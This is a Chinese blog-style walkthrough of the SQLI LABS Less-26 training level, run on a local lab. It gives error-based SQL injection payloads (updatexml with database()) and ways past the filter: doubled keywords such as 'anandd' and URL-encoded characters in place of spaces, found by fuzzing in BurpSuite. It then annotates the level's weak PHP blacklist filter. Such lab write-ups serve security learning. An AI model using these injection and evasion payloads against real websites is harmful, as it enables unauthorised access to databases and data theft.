关注这个靶场的其它相关笔记:SQLI LABS —— 靶场笔记合集-CSDN博客
0x01:过关流程
输入下面的链接进入靶场(如果你的地址和我不一样,按照你本地的环境来):
http://localhost/sqli-labs/Less-25/
本关考察的是 SQL 注入的绕过姿势,至于发现注入点,相信强大如你已经很容易测出来了,所以这里笔者就不多废话了。
直接上基础 Payload,并观察过滤后的内容:
?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)#
如上,and
被置空,我们可以双写绕过;注释符也没了,问题不大,那就不要它了,所以新版 Payload 如下:
?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) anandd '1
最后一个,空格被过滤了,咋搞?那就找有没有能替代空格的符号呗。我们可以利用 BurpSuite 进行爆破。首先,打开 BurpSuite,并访问携带参数的靶场进行抓包:
http://localhost/sqli-labs/Less-26/?id=1%27%20anandd%20updatexml(1,concat(0x7e,database(),0x7e),1)%20anandd%20%271
如下,设置爆破的 Payload 为数值型十六进制。ASCII 码的范围是 0 ~127,我们也只要爆破这么多即可,Payload 设置如下:
爆破完成后,按返回包的长度升序排一下就可以发现可用的值啦:
以下是笔者测试出来的一个可用的 Payload(记替代是不可能记的,记思路即可):
1%27%0caandnd%21updatexml(1,concat(0x7e,database(),0x7e),1)%0caandnd%0c%271
可以看到,我们已经成功获取了当前站点使用的后端数据库的信息。至此,SQLI LABS Less-26 GET-Error Based-All Your SPACES And COMMENTS Belong To Us 成功过关。
0x02:源码分析
下面是 SQLI LABS Less-26 GET-Error Based-All Your SPACES And COMMENTS Belong To Us 后端的部分源码,以及笔者做的笔记:
// 下面就是本关的过滤函数function blacklist($id){// OR 给你过滤了,过滤的不好$id = preg_replace('/or/i', "", $id); //strip out OR (non case sensitive)// AND 给你过滤了,过滤的不好$id = preg_replace('/and/i', "", $id); //Strip out AND (non case sensitive)// 如果你上网搜索空格绕过,肯定会有 /**/ 可以替代空格,也给你过滤了$id = preg_replace('/[\/\*]/', "", $id); //strip out /*// 过滤注释符 --$id = preg_replace('/[--]/', "", $id); //Strip out --// 过滤注释符 #$id = preg_replace('/[#]/', "", $id); //Strip out #// \s 是过滤了所有的空格字符 => 过滤的不好哈$id = preg_replace('/[\s]/', "", $id); //Strip out spaces// 去掉斜杠??我是不是漏了啥绕过方式$id = preg_replace('/[\/\\\\]/', "", $id); //Strip out slashesreturn $id;}